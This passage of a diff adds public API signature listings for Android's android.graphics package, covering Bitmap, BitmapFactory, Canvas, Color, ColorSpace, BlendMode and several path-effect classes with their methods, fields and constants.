+    method public void setPremultiplied(boolean);
+    method public void setWidth(int);
+    method @Nullable public static android.graphics.Bitmap wrapHardwareBuffer(@NonNull android.hardware.HardwareBuffer, @Nullable android.graphics.ColorSpace);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.graphics.Bitmap> CREATOR;
+    field public static final int DENSITY_NONE = 0; // 0x0
+  }
+
+  public enum Bitmap.CompressFormat {
+    enum_constant public static final android.graphics.Bitmap.CompressFormat JPEG;
+    enum_constant public static final android.graphics.Bitmap.CompressFormat PNG;
+    enum_constant @Deprecated public static final android.graphics.Bitmap.CompressFormat WEBP;
+    enum_constant public static final android.graphics.Bitmap.CompressFormat WEBP_LOSSLESS;
+    enum_constant public static final android.graphics.Bitmap.CompressFormat WEBP_LOSSY;
+  }
+
+  public enum Bitmap.Config {
+    enum_constant public static final android.graphics.Bitmap.Config ALPHA_8;
+    enum_constant @Deprecated public static final android.graphics.Bitmap.Config ARGB_4444;
+    enum_constant public static final android.graphics.Bitmap.Config ARGB_8888;
+    enum_constant public static final android.graphics.Bitmap.Config HARDWARE;
+    enum_constant public static final android.graphics.Bitmap.Config RGBA_F16;
+    enum_constant public static final android.graphics.Bitmap.Config RGB_565;
+  }
+
+  public class BitmapFactory {
+    ctor public BitmapFactory();
+    method public static android.graphics.Bitmap decodeByteArray(byte[], int, int, android.graphics.BitmapFactory.Options);
+    method public static android.graphics.Bitmap decodeByteArray(byte[], int, int);
+    method public static android.graphics.Bitmap decodeFile(String, android.graphics.BitmapFactory.Options);
+    method public static android.graphics.Bitmap decodeFile(String);
+    method public static android.graphics.Bitmap decodeFileDescriptor(java.io.FileDescriptor, android.graphics.Rect, android.graphics.BitmapFactory.Options);
+    method public static android.graphics.Bitmap decodeFileDescriptor(java.io.FileDescriptor);
+    method public static android.graphics.Bitmap decodeResource(android.content.res.Resources, int, android.graphics.BitmapFactory.Options);
+    method public static android.graphics.Bitmap decodeResource(android.content.res.Resources, int);
+    method @Nullable public static android.graphics.Bitmap decodeResourceStream(@Nullable android.content.res.Resources, @Nullable android.util.TypedValue, @Nullable java.io.InputStream, @Nullable android.graphics.Rect, @Nullable android.graphics.BitmapFactory.Options);
+    method @Nullable public static android.graphics.Bitmap decodeStream(@Nullable java.io.InputStream, @Nullable android.graphics.Rect, @Nullable android.graphics.BitmapFactory.Options);
+    method public static android.graphics.Bitmap decodeStream(java.io.InputStream);
+  }
+
+  public static class BitmapFactory.Options {
+    ctor public BitmapFactory.Options();
+    method @Deprecated public void requestCancelDecode();
+    field public android.graphics.Bitmap inBitmap;
+    field public int inDensity;
+    field @Deprecated public boolean inDither;
+    field @Deprecated public boolean inInputShareable;
+    field public boolean inJustDecodeBounds;
+    field public boolean inMutable;
+    field @Deprecated public boolean inPreferQualityOverSpeed;
+    field public android.graphics.ColorSpace inPreferredColorSpace;
+    field public android.graphics.Bitmap.Config inPreferredConfig;
+    field public boolean inPremultiplied;
+    field @Deprecated public boolean inPurgeable;
+    field public int inSampleSize;
+    field public boolean inScaled;
+    field public int inScreenDensity;
+    field public int inTargetDensity;
+    field public byte[] inTempStorage;
+    field @Deprecated public boolean mCancel;
+    field public android.graphics.ColorSpace outColorSpace;
+    field public android.graphics.Bitmap.Config outConfig;
+    field public int outHeight;
+    field public String outMimeType;
+    field public int outWidth;
+  }
+
+  public final class BitmapRegionDecoder {
+    method public android.graphics.Bitmap decodeRegion(android.graphics.Rect, android.graphics.BitmapFactory.Options);
+    method public int getHeight();
+    method public int getWidth();
+    method public boolean isRecycled();
+    method @Deprecated @NonNull public static android.graphics.BitmapRegionDecoder newInstance(@NonNull byte[], int, int, boolean) throws java.io.IOException;
+    method @NonNull public static android.graphics.BitmapRegionDecoder newInstance(@NonNull byte[], int, int) throws java.io.IOException;
+    method @Deprecated @NonNull public static android.graphics.BitmapRegionDecoder newInstance(@NonNull java.io.FileDescriptor, boolean) throws java.io.IOException;
+    method @NonNull public static android.graphics.BitmapRegionDecoder newInstance(@NonNull android.os.ParcelFileDescriptor) throws java.io.IOException;
+    method @Deprecated @Nullable public static android.graphics.BitmapRegionDecoder newInstance(@NonNull java.io.InputStream, boolean) throws java.io.IOException;
+    method @Nullable public static android.graphics.BitmapRegionDecoder newInstance(@NonNull java.io.InputStream) throws java.io.IOException;
+    method @Deprecated @NonNull public static android.graphics.BitmapRegionDecoder newInstance(@NonNull String, boolean) throws java.io.IOException;
+    method @NonNull public static android.graphics.BitmapRegionDecoder newInstance(@NonNull String) throws java.io.IOException;
+    method public void recycle();
+  }
+
+  public class BitmapShader extends android.graphics.Shader {
+    ctor public BitmapShader(@NonNull android.graphics.Bitmap, @NonNull android.graphics.Shader.TileMode, @NonNull android.graphics.Shader.TileMode);
+  }
+
+  public enum BlendMode {
+    enum_constant public static final android.graphics.BlendMode CLEAR;
+    enum_constant public static final android.graphics.BlendMode COLOR;
+    enum_constant public static final android.graphics.BlendMode COLOR_BURN;
+    enum_constant public static final android.graphics.BlendMode COLOR_DODGE;
+    enum_constant public static final android.graphics.BlendMode DARKEN;
+    enum_constant public static final android.graphics.BlendMode DIFFERENCE;
+    enum_constant public static final android.graphics.BlendMode DST;
+    enum_constant public static final android.graphics.BlendMode DST_ATOP;
+    enum_constant public static final android.graphics.BlendMode DST_IN;
+    enum_constant public static final android.graphics.BlendMode DST_OUT;
+    enum_constant public static final android.graphics.BlendMode DST_OVER;
+    enum_constant public static final android.graphics.BlendMode EXCLUSION;
+    enum_constant public static final android.graphics.BlendMode HARD_LIGHT;
+    enum_constant public static final android.graphics.BlendMode HUE;
+    enum_constant public static final android.graphics.BlendMode LIGHTEN;
+    enum_constant public static final android.graphics.BlendMode LUMINOSITY;
+    enum_constant public static final android.graphics.BlendMode MODULATE;
+    enum_constant public static final android.graphics.BlendMode MULTIPLY;
+    enum_constant public static final android.graphics.BlendMode OVERLAY;
+    enum_constant public static final android.graphics.BlendMode PLUS;
+    enum_constant public static final android.graphics.BlendMode SATURATION;
+    enum_constant public static final android.graphics.BlendMode SCREEN;
+    enum_constant public static final android.graphics.BlendMode SOFT_LIGHT;
+    enum_constant public static final android.graphics.BlendMode SRC;
+    enum_constant public static final android.graphics.BlendMode SRC_ATOP;
+    enum_constant public static final android.graphics.BlendMode SRC_IN;
+    enum_constant public static final android.graphics.BlendMode SRC_OUT;
+    enum_constant public static final android.graphics.BlendMode SRC_OVER;
+    enum_constant public static final android.graphics.BlendMode XOR;
+  }
+
+  public final class BlendModeColorFilter extends android.graphics.ColorFilter {
+    ctor public BlendModeColorFilter(@ColorInt int, @NonNull android.graphics.BlendMode);
+    method @ColorInt public int getColor();
+    method public android.graphics.BlendMode getMode();
+  }
+
+  public class BlurMaskFilter extends android.graphics.MaskFilter {
+    ctor public BlurMaskFilter(float, android.graphics.BlurMaskFilter.Blur);
+  }
+
+  public enum BlurMaskFilter.Blur {
+    enum_constant public static final android.graphics.BlurMaskFilter.Blur INNER;
+    enum_constant public static final android.graphics.BlurMaskFilter.Blur NORMAL;
+    enum_constant public static final android.graphics.BlurMaskFilter.Blur OUTER;
+    enum_constant public static final android.graphics.BlurMaskFilter.Blur SOLID;
+  }
+
+  public class Camera {
+    ctor public Camera();
+    method public void applyToCanvas(android.graphics.Canvas);
+    method public float dotWithNormal(float, float, float);
+    method public float getLocationX();
+    method public float getLocationY();
+    method public float getLocationZ();
+    method public void getMatrix(android.graphics.Matrix);
+    method public void restore();
+    method public void rotate(float, float, float);
+    method public void rotateX(float);
+    method public void rotateY(float);
+    method public void rotateZ(float);
+    method public void save();
+    method public void setLocation(float, float, float);
+    method public void translate(float, float, float);
+  }
+
+  public class Canvas {
+    ctor public Canvas();
+    ctor public Canvas(@NonNull android.graphics.Bitmap);
+    method public boolean clipOutPath(@NonNull android.graphics.Path);
+    method public boolean clipOutRect(@NonNull android.graphics.RectF);
+    method public boolean clipOutRect(@NonNull android.graphics.Rect);
+    method public boolean clipOutRect(float, float, float, float);
+    method public boolean clipOutRect(int, int, int, int);
+    method @Deprecated public boolean clipPath(@NonNull android.graphics.Path, @NonNull android.graphics.Region.Op);
+    method public boolean clipPath(@NonNull android.graphics.Path);
+    method @Deprecated public boolean clipRect(@NonNull android.graphics.RectF, @NonNull android.graphics.Region.Op);
+    method @Deprecated public boolean clipRect(@NonNull android.graphics.Rect, @NonNull android.graphics.Region.Op);
+    method public boolean clipRect(@NonNull android.graphics.RectF);
+    method public boolean clipRect(@NonNull android.graphics.Rect);
+    method @Deprecated public boolean clipRect(float, float, float, float, @NonNull android.graphics.Region.Op);
+    method public boolean clipRect(float, float, float, float);
+    method public boolean clipRect(int, int, int, int);
+    method public void concat(@Nullable android.graphics.Matrix);
+    method public void disableZ();
+    method public void drawARGB(int, int, int, int);
+    method public void drawArc(@NonNull android.graphics.RectF, float, float, boolean, @NonNull android.graphics.Paint);
+    method public void drawArc(float, float, float, float, float, float, boolean, @NonNull android.graphics.Paint);
+    method public void drawBitmap(@NonNull android.graphics.Bitmap, float, float, @Nullable android.graphics.Paint);
+    method public void drawBitmap(@NonNull android.graphics.Bitmap, @Nullable android.graphics.Rect, @NonNull android.graphics.RectF, @Nullable android.graphics.Paint);
+    method public void drawBitmap(@NonNull android.graphics.Bitmap, @Nullable android.graphics.Rect, @NonNull android.graphics.Rect, @Nullable android.graphics.Paint);
+    method @Deprecated public void drawBitmap(@NonNull int[], int, int, float, float, int, int, boolean, @Nullable android.graphics.Paint);
+    method @Deprecated public void drawBitmap(@NonNull int[], int, int, int, int, int, int, boolean, @Nullable android.graphics.Paint);
+    method public void drawBitmap(@NonNull android.graphics.Bitmap, @NonNull android.graphics.Matrix, @Nullable android.graphics.Paint);
+    method public void drawBitmapMesh(@NonNull android.graphics.Bitmap, int, int, @NonNull float[], int, @Nullable int[], int, @Nullable android.graphics.Paint);
+    method public void drawCircle(float, float, float, @NonNull android.graphics.Paint);
+    method public void drawColor(@ColorInt int);
+    method public void drawColor(@ColorLong long);
+    method public void drawColor(@ColorInt int, @NonNull android.graphics.PorterDuff.Mode);
+    method public void drawColor(@ColorInt int, @NonNull android.graphics.BlendMode);
+    method public void drawColor(@ColorLong long, @NonNull android.graphics.BlendMode);
+    method public void drawDoubleRoundRect(@NonNull android.graphics.RectF, float, float, @NonNull android.graphics.RectF, float, float, @NonNull android.graphics.Paint);
+    method public void drawDoubleRoundRect(@NonNull android.graphics.RectF, @NonNull float[], @NonNull android.graphics.RectF, @NonNull float[], @NonNull android.graphics.Paint);
+    method public void drawGlyphs(@NonNull int[], @IntRange(from=0) int, @NonNull float[], @IntRange(from=0) int, @IntRange(from=0) int, @NonNull android.graphics.fonts.Font, @NonNull android.graphics.Paint);
+    method public void drawLine(float, float, float, float, @NonNull android.graphics.Paint);
+    method public void drawLines(@NonNull @Size(multiple=4) float[], int, int, @NonNull android.graphics.Paint);
+    method public void drawLines(@NonNull @Size(multiple=4) float[], @NonNull android.graphics.Paint);
+    method public void drawOval(@NonNull android.graphics.RectF, @NonNull android.graphics.Paint);
+    method public void drawOval(float, float, float, float, @NonNull android.graphics.Paint);
+    method public void drawPaint(@NonNull android.graphics.Paint);
+    method public void drawPatch(@NonNull android.graphics.NinePatch, @NonNull android.graphics.Rect, @Nullable android.graphics.Paint);
+    method public void drawPatch(@NonNull android.graphics.NinePatch, @NonNull android.graphics.RectF, @Nullable android.graphics.Paint);
+    method public void drawPath(@NonNull android.graphics.Path, @NonNull android.graphics.Paint);
+    method public void drawPicture(@NonNull android.graphics.Picture);
+    method public void drawPicture(@NonNull android.graphics.Picture, @NonNull android.graphics.RectF);
+    method public void drawPicture(@NonNull android.graphics.Picture, @NonNull android.graphics.Rect);
+    method public void drawPoint(float, float, @NonNull android.graphics.Paint);
+    method public void drawPoints(@Size(multiple=2) float[], int, int, @NonNull android.graphics.Paint);
+    method public void drawPoints(@NonNull @Size(multiple=2) float[], @NonNull android.graphics.Paint);
+    method @Deprecated public void drawPosText(@NonNull char[], int, int, @NonNull @Size(multiple=2) float[], @NonNull android.graphics.Paint);
+    method @Deprecated public void drawPosText(@NonNull String, @NonNull @Size(multiple=2) float[], @NonNull android.graphics.Paint);
+    method public void drawRGB(int, int, int);
+    method public void drawRect(@NonNull android.graphics.RectF, @NonNull android.graphics.Paint);
+    method public void drawRect(@NonNull android.graphics.Rect, @NonNull android.graphics.Paint);
+    method public void drawRect(float, float, float, float, @NonNull android.graphics.Paint);
+    method public void drawRenderNode(@NonNull android.graphics.RenderNode);
+    method public void drawRoundRect(@NonNull android.graphics.RectF, float, float, @NonNull android.graphics.Paint);
+    method public void drawRoundRect(float, float, float, float, float, float, @NonNull android.graphics.Paint);
+    method public void drawText(@NonNull char[], int, int, float, float, @NonNull android.graphics.Paint);
+    method public void drawText(@NonNull String, float, float, @NonNull android.graphics.Paint);
+    method public void drawText(@NonNull String, int, int, float, float, @NonNull android.graphics.Paint);
+    method public void drawText(@NonNull CharSequence, int, int, float, float, @NonNull android.graphics.Paint);
+    method public void drawTextOnPath(@NonNull char[], int, int, @NonNull android.graphics.Path, float, float, @NonNull android.graphics.Paint);
+    method public void drawTextOnPath(@NonNull String, @NonNull android.graphics.Path, float, float, @NonNull android.graphics.Paint);
+    method public void drawTextRun(@NonNull char[], int, int, int, int, float, float, boolean, @NonNull android.graphics.Paint);
+    method public void drawTextRun(@NonNull CharSequence, int, int, int, int, float, float, boolean, @NonNull android.graphics.Paint);
+    method public void drawTextRun(@NonNull android.graphics.text.MeasuredText, int, int, int, int, float, float, boolean, @NonNull android.graphics.Paint);
+    method public void drawVertices(@NonNull android.graphics.Canvas.VertexMode, int, @NonNull float[], int, @Nullable float[], int, @Nullable int[], int, @Nullable short[], int, int, @NonNull android.graphics.Paint);
+    method public void enableZ();
+    method public boolean getClipBounds(@Nullable android.graphics.Rect);
+    method @NonNull public final android.graphics.Rect getClipBounds();
+    method public int getDensity();
+    method @Nullable public android.graphics.DrawFilter getDrawFilter();
+    method public int getHeight();
+    method @Deprecated public void getMatrix(@NonNull android.graphics.Matrix);
+    method @Deprecated @NonNull public final android.graphics.Matrix getMatrix();
+    method public int getMaximumBitmapHeight();
+    method public int getMaximumBitmapWidth();
+    method public int getSaveCount();
+    method public int getWidth();
+    method public boolean isHardwareAccelerated();
+    method public boolean isOpaque();
+    method @Deprecated public boolean quickReject(@NonNull android.graphics.RectF, @NonNull android.graphics.Canvas.EdgeType);
+    method public boolean quickReject(@NonNull android.graphics.RectF);
+    method @Deprecated public boolean quickReject(@NonNull android.graphics.Path, @NonNull android.graphics.Canvas.EdgeType);
+    method public boolean quickReject(@NonNull android.graphics.Path);
+    method @Deprecated public boolean quickReject(float, float, float, float, @NonNull android.graphics.Canvas.EdgeType);
+    method public boolean quickReject(float, float, float, float);
+    method public void restore();
+    method public void restoreToCount(int);
+    method public void rotate(float);
+    method public final void rotate(float, float, float);
+    method public int save();
+    method @Deprecated public int saveLayer(@Nullable android.graphics.RectF, @Nullable android.graphics.Paint, int);
+    method public int saveLayer(@Nullable android.graphics.RectF, @Nullable android.graphics.Paint);
+    method @Deprecated public int saveLayer(float, float, float, float, @Nullable android.graphics.Paint, int);
+    method public int saveLayer(float, float, float, float, @Nullable android.graphics.Paint);
+    method @Deprecated public int saveLayerAlpha(@Nullable android.graphics.RectF, int, int);
+    method public int saveLayerAlpha(@Nullable android.graphics.RectF, int);
+    method @Deprecated public int saveLayerAlpha(float, float, float, float, int, int);
+    method public int saveLayerAlpha(float, float, float, float, int);
+    method public void scale(float, float);
+    method public final void scale(float, float, float, float);
+    method public void setBitmap(@Nullable android.graphics.Bitmap);
+    method public void setDensity(int);
+    method public void setDrawFilter(@Nullable android.graphics.DrawFilter);
+    method public void setMatrix(@Nullable android.graphics.Matrix);
+    method public void skew(float, float);
+    method public void translate(float, float);
+    field public static final int ALL_SAVE_FLAG = 31; // 0x1f
+  }
+
+  @Deprecated public enum Canvas.EdgeType {
+    enum_constant @Deprecated public static final android.graphics.Canvas.EdgeType AA;
+    enum_constant @Deprecated public static final android.graphics.Canvas.EdgeType BW;
+  }
+
+  public enum Canvas.VertexMode {
+    enum_constant public static final android.graphics.Canvas.VertexMode TRIANGLES;
+    enum_constant public static final android.graphics.Canvas.VertexMode TRIANGLE_FAN;
+    enum_constant public static final android.graphics.Canvas.VertexMode TRIANGLE_STRIP;
+  }
+
+  @AnyThread public class Color {
+    ctor public Color();
+    method @ColorInt public static int HSVToColor(@Size(3) float[]);
+    method @ColorInt public static int HSVToColor(@IntRange(from=0, to=255) int, @Size(3) float[]);
+    method public static void RGBToHSV(@IntRange(from=0, to=255) int, @IntRange(from=0, to=255) int, @IntRange(from=0, to=255) int, @Size(3) float[]);
+    method public float alpha();
+    method public static float alpha(@ColorLong long);
+    method @IntRange(from=0, to=255) public static int alpha(int);
+    method @ColorInt public static int argb(@IntRange(from=0, to=255) int, @IntRange(from=0, to=255) int, @IntRange(from=0, to=255) int, @IntRange(from=0, to=255) int);
+    method @ColorInt public static int argb(float, float, float, float);
+    method public float blue();
+    method public static float blue(@ColorLong long);
+    method @IntRange(from=0, to=255) public static int blue(int);
+    method @NonNull public static android.graphics.ColorSpace colorSpace(@ColorLong long);
+    method public static void colorToHSV(@ColorInt int, @Size(3) float[]);
+    method @NonNull public android.graphics.Color convert(@NonNull android.graphics.ColorSpace);
+    method @ColorLong public static long convert(@ColorInt int, @NonNull android.graphics.ColorSpace);
+    method @ColorLong public static long convert(@ColorLong long, @NonNull android.graphics.ColorSpace);
+    method @ColorLong public static long convert(float, float, float, float, @NonNull android.graphics.ColorSpace, @NonNull android.graphics.ColorSpace);
+    method @ColorLong public static long convert(@ColorLong long, @NonNull android.graphics.ColorSpace.Connector);
+    method @ColorLong public static long convert(float, float, float, float, @NonNull android.graphics.ColorSpace.Connector);
+    method @NonNull public android.graphics.ColorSpace getColorSpace();
+    method public float getComponent(@IntRange(from=0, to=4) int);
+    method @IntRange(from=4, to=5) public int getComponentCount();
+    method @NonNull @Size(min=4, max=5) public float[] getComponents();
+    method @NonNull @Size(min=4) public float[] getComponents(@Nullable @Size(min=4) float[]);
+    method public android.graphics.ColorSpace.Model getModel();
+    method public float green();
+    method public static float green(@ColorLong long);
+    method @IntRange(from=0, to=255) public static int green(int);
+    method public static boolean isInColorSpace(@ColorLong long, @NonNull android.graphics.ColorSpace);
+    method public boolean isSrgb();
+    method public static boolean isSrgb(@ColorLong long);
+    method public boolean isWideGamut();
+    method public static boolean isWideGamut(@ColorLong long);
+    method public float luminance();
+    method public static float luminance(@ColorLong long);
+    method public static float luminance(@ColorInt int);
+    method @ColorLong public long pack();
+    method @ColorLong public static long pack(@ColorInt int);
+    method @ColorLong public static long pack(float, float, float);
+    method @ColorLong public static long pack(float, float, float, float);
+    method @ColorLong public static long pack(float, float, float, float, @NonNull android.graphics.ColorSpace);
+    method @ColorInt public static int parseColor(@Size(min=1) String);
+    method public float red();
+    method public static float red(@ColorLong long);
+    method @IntRange(from=0, to=255) public static int red(int);
+    method @ColorInt public static int rgb(@IntRange(from=0, to=255) int, @IntRange(from=0, to=255) int, @IntRange(from=0, to=255) int);
+    method @ColorInt public static int rgb(float, float, float);
+    method @ColorInt public int toArgb();
+    method @ColorInt public static int toArgb(@ColorLong long);
+    method @NonNull public static android.graphics.Color valueOf(@ColorInt int);
+    method @NonNull public static android.graphics.Color valueOf(@ColorLong long);
+    method @NonNull public static android.graphics.Color valueOf(float, float, float);
+    method @NonNull public static android.graphics.Color valueOf(float, float, float, float);
+    method @NonNull public static android.graphics.Color valueOf(float, float, float, float, @NonNull android.graphics.ColorSpace);
+    method @NonNull public static android.graphics.Color valueOf(@NonNull @Size(min=4, max=5) float[], @NonNull android.graphics.ColorSpace);
+    field @ColorInt public static final int BLACK = -16777216; // 0xff000000
+    field @ColorInt public static final int BLUE = -16776961; // 0xff0000ff
+    field @ColorInt public static final int CYAN = -16711681; // 0xff00ffff
+    field @ColorInt public static final int DKGRAY = -12303292; // 0xff444444
+    field @ColorInt public static final int GRAY = -7829368; // 0xff888888
+    field @ColorInt public static final int GREEN = -16711936; // 0xff00ff00
+    field @ColorInt public static final int LTGRAY = -3355444; // 0xffcccccc
+    field @ColorInt public static final int MAGENTA = -65281; // 0xffff00ff
+    field @ColorInt public static final int RED = -65536; // 0xffff0000
+    field @ColorInt public static final int TRANSPARENT = 0; // 0x0
+    field @ColorInt public static final int WHITE = -1; // 0xffffffff
+    field @ColorInt public static final int YELLOW = -256; // 0xffffff00
+  }
+
+  public class ColorFilter {
+    ctor @Deprecated public ColorFilter();
+  }
+
+  public class ColorMatrixColorFilter extends android.graphics.ColorFilter {
+    ctor public ColorMatrixColorFilter(@NonNull android.graphics.ColorMatrix);
+    ctor public ColorMatrixColorFilter(@NonNull float[]);
+    method public void getColorMatrix(android.graphics.ColorMatrix);
+  }
+
+  @AnyThread public abstract class ColorSpace {
+    method @NonNull public static android.graphics.ColorSpace adapt(@NonNull android.graphics.ColorSpace, @NonNull @Size(min=2, max=3) float[]);
+    method @NonNull public static android.graphics.ColorSpace adapt(@NonNull android.graphics.ColorSpace, @NonNull @Size(min=2, max=3) float[], @NonNull android.graphics.ColorSpace.Adaptation);
+    method @NonNull @Size(3) public static float[] cctToXyz(@IntRange(from=1) int);
+    method @NonNull @Size(9) public static float[] chromaticAdaptation(@NonNull android.graphics.ColorSpace.Adaptation, @NonNull @Size(min=2, max=3) float[], @NonNull @Size(min=2, max=3) float[]);
+    method @NonNull public static android.graphics.ColorSpace.Connector connect(@NonNull android.graphics.ColorSpace, @NonNull android.graphics.ColorSpace);
+    method @NonNull public static android.graphics.ColorSpace.Connector connect(@NonNull android.graphics.ColorSpace, @NonNull android.graphics.ColorSpace, @NonNull android.graphics.ColorSpace.RenderIntent);
+    method @NonNull public static android.graphics.ColorSpace.Connector connect(@NonNull android.graphics.ColorSpace);
+    method @NonNull public static android.graphics.ColorSpace.Connector connect(@NonNull android.graphics.ColorSpace, @NonNull android.graphics.ColorSpace.RenderIntent);
+    method @NonNull @Size(min=3) public float[] fromXyz(float, float, float);
+    method @NonNull @Size(min=3) public abstract float[] fromXyz(@NonNull @Size(min=3) float[]);
+    method @NonNull public static android.graphics.ColorSpace get(@NonNull android.graphics.ColorSpace.Named);
+    method @IntRange(from=1, to=4) public int getComponentCount();
+    method @IntRange(from=android.graphics.ColorSpace.MIN_ID, to=android.graphics.ColorSpace.MAX_ID) public int getId();
+    method public abstract float getMaxValue(@IntRange(from=0, to=3) int);
+    method public abstract float getMinValue(@IntRange(from=0, to=3) int);
+    method @NonNull public android.graphics.ColorSpace.Model getModel();
+    method @NonNull public String getName();
+    method public boolean isSrgb();
+    method public abstract boolean isWideGamut();
+    method @Nullable public static android.graphics.ColorSpace match(@NonNull @Size(9) float[], @NonNull android.graphics.ColorSpace.Rgb.TransferParameters);
+    method @NonNull @Size(3) public float[] toXyz(float, float, float);
+    method @NonNull @Size(min=3) public abstract float[] toXyz(@NonNull @Size(min=3) float[]);
+    field public static final float[] ILLUMINANT_A;
+    field public static final float[] ILLUMINANT_B;
+    field public static final float[] ILLUMINANT_C;
+    field public static final float[] ILLUMINANT_D50;
+    field public static final float[] ILLUMINANT_D55;
+    field public static final float[] ILLUMINANT_D60;
+    field public static final float[] ILLUMINANT_D65;
+    field public static final float[] ILLUMINANT_D75;
+    field public static final float[] ILLUMINANT_E;
+    field public static final int MAX_ID = 63; // 0x3f
+    field public static final int MIN_ID = -1; // 0xffffffff
+  }
+
+  public enum ColorSpace.Adaptation {
+    enum_constant public static final android.graphics.ColorSpace.Adaptation BRADFORD;
+    enum_constant public static final android.graphics.ColorSpace.Adaptation CIECAT02;
+    enum_constant public static final android.graphics.ColorSpace.Adaptation VON_KRIES;
+  }
+
+  @AnyThread public static class ColorSpace.Connector {
+    method @NonNull public android.graphics.ColorSpace getDestination();
+    method public android.graphics.ColorSpace.RenderIntent getRenderIntent();
+    method @NonNull public android.graphics.ColorSpace getSource();
+    method @NonNull @Size(3) public float[] transform(float, float, float);
+    method @NonNull @Size(min=3) public float[] transform(@NonNull @Size(min=3) float[]);
+  }
+
+  public enum ColorSpace.Model {
+    method @IntRange(from=1, to=4) public int getComponentCount();
+    enum_constant public static final android.graphics.ColorSpace.Model CMYK;
+    enum_constant public static final android.graphics.ColorSpace.Model LAB;
+    enum_constant public static final android.graphics.ColorSpace.Model RGB;
+    enum_constant public static final android.graphics.ColorSpace.Model XYZ;
+  }
+
+  public enum ColorSpace.Named {
+    enum_constant public static final android.graphics.ColorSpace.Named ACES;
+    enum_constant public static final android.graphics.ColorSpace.Named ACESCG;
+    enum_constant public static final android.graphics.ColorSpace.Named ADOBE_RGB;
+    enum_constant public static final android.graphics.ColorSpace.Named BT2020;
+    enum_constant public static final android.graphics.ColorSpace.Named BT709;
+    enum_constant public static final android.graphics.ColorSpace.Named CIE_LAB;
+    enum_constant public static final android.graphics.ColorSpace.Named CIE_XYZ;
+    enum_constant public static final android.graphics.ColorSpace.Named DCI_P3;
+    enum_constant public static final android.graphics.ColorSpace.Named DISPLAY_P3;
+    enum_constant public static final android.graphics.ColorSpace.Named EXTENDED_SRGB;
+    enum_constant public static final android.graphics.ColorSpace.Named LINEAR_EXTENDED_SRGB;
+    enum_constant public static final android.graphics.ColorSpace.Named LINEAR_SRGB;
+    enum_constant public static final android.graphics.ColorSpace.Named NTSC_1953;
+    enum_constant public static final android.graphics.ColorSpace.Named PRO_PHOTO_RGB;
+    enum_constant public static final android.graphics.ColorSpace.Named SMPTE_C;
+    enum_constant public static final android.graphics.ColorSpace.Named SRGB;
+  }
+
+  public enum ColorSpace.RenderIntent {
+    enum_constant public static final android.graphics.ColorSpace.RenderIntent ABSOLUTE;
+    enum_constant public static final android.graphics.ColorSpace.RenderIntent PERCEPTUAL;
+    enum_constant public static final android.graphics.ColorSpace.RenderIntent RELATIVE;
+    enum_constant public static final android.graphics.ColorSpace.RenderIntent SATURATION;
+  }
+
+  @AnyThread public static class ColorSpace.Rgb extends android.graphics.ColorSpace {
+    ctor public ColorSpace.Rgb(@NonNull @Size(min=1) String, @NonNull @Size(9) float[], @NonNull java.util.function.DoubleUnaryOperator, @NonNull java.util.function.DoubleUnaryOperator);
+    ctor public ColorSpace.Rgb(@NonNull @Size(min=1) String, @NonNull @Size(min=6, max=9) float[], @NonNull @Size(min=2, max=3) float[], @NonNull java.util.function.DoubleUnaryOperator, @NonNull java.util.function.DoubleUnaryOperator, float, float);
+    ctor public ColorSpace.Rgb(@NonNull @Size(min=1) String, @NonNull @Size(9) float[], @NonNull android.graphics.ColorSpace.Rgb.TransferParameters);
+    ctor public ColorSpace.Rgb(@NonNull @Size(min=1) String, @NonNull @Size(min=6, max=9) float[], @NonNull @Size(min=2, max=3) float[], @NonNull android.graphics.ColorSpace.Rgb.TransferParameters);
+    ctor public ColorSpace.Rgb(@NonNull @Size(min=1) String, @NonNull @Size(9) float[], double);
+    ctor public ColorSpace.Rgb(@NonNull @Size(min=1) String, @NonNull @Size(min=6, max=9) float[], @NonNull @Size(min=2, max=3) float[], double);
+    method @NonNull @Size(3) public float[] fromLinear(float, float, float);
+    method @NonNull @Size(min=3) public float[] fromLinear(@NonNull @Size(min=3) float[]);
+    method @NonNull @Size(min=3) public float[] fromXyz(@NonNull @Size(min=3) float[]);
+    method @NonNull public java.util.function.DoubleUnaryOperator getEotf();
+    method @NonNull @Size(min=9) public float[] getInverseTransform(@NonNull @Size(min=9) float[]);
+    method @NonNull @Size(9) public float[] getInverseTransform();
+    method public float getMaxValue(int);
+    method public float getMinValue(int);
+    method @NonNull public java.util.function.DoubleUnaryOperator getOetf();
+    method @NonNull @Size(min=6) public float[] getPrimaries(@NonNull @Size(min=6) float[]);
+    method @NonNull @Size(6) public float[] getPrimaries();
+    method @Nullable public android.graphics.ColorSpace.Rgb.TransferParameters getTransferParameters();
+    method @NonNull @Size(min=9) public float[] getTransform(@NonNull @Size(min=9) float[]);
+    method @NonNull @Size(9) public float[] getTransform();
+    method @NonNull @Size(min=2) public float[] getWhitePoint(@NonNull @Size(min=2) float[]);
+    method @NonNull @Size(2) public float[] getWhitePoint();
+    method public boolean isWideGamut();
+    method @NonNull @Size(3) public float[] toLinear(float, float, float);
+    method @NonNull @Size(min=3) public float[] toLinear(@NonNull @Size(min=3) float[]);
+    method @NonNull @Size(min=3) public float[] toXyz(@NonNull @Size(min=3) float[]);
+  }
+
+  public static class ColorSpace.Rgb.TransferParameters {
+    ctor public ColorSpace.Rgb.TransferParameters(double, double, double, double, double);
+    ctor public ColorSpace.Rgb.TransferParameters(double, double, double, double, double, double, double);
+    field public final double a;
+    field public final double b;
+    field public final double c;
+    field public final double d;
+    field public final double e;
+    field public final double f;
+    field public final double g;
+  }
+
+  public class ComposePathEffect extends android.graphics.PathEffect {
+    ctor public ComposePathEffect(android.graphics.PathEffect, android.graphics.PathEffect);
+  }
+
+  public class ComposeShader extends android.graphics.Shader {
+    ctor @Deprecated public ComposeShader(@NonNull android.graphics.Shader, @NonNull android.graphics.Shader, @NonNull android.graphics.Xfermode);
+    ctor public ComposeShader(@NonNull android.graphics.Shader, @NonNull android.graphics.Shader, @NonNull android.graphics.PorterDuff.Mode);
+    ctor public ComposeShader(@NonNull android.graphics.Shader, @NonNull android.graphics.Shader, @NonNull android.graphics.BlendMode);
+  }
+
+  public class CornerPathEffect extends android.graphics.PathEffect {
+    ctor public CornerPathEffect(float);
+  }
+
+  public class DashPathEffect extends android.graphics.PathEffect {
+    ctor public DashPathEffect(float[], float);
+  }
+
+  public class DiscretePathEffect extends android.graphics.PathEffect {
+    ctor public DiscretePathEffect(float, float);
+  }
+
+  public class DrawFilter {
+    ctor public DrawFilter();
+  }
+
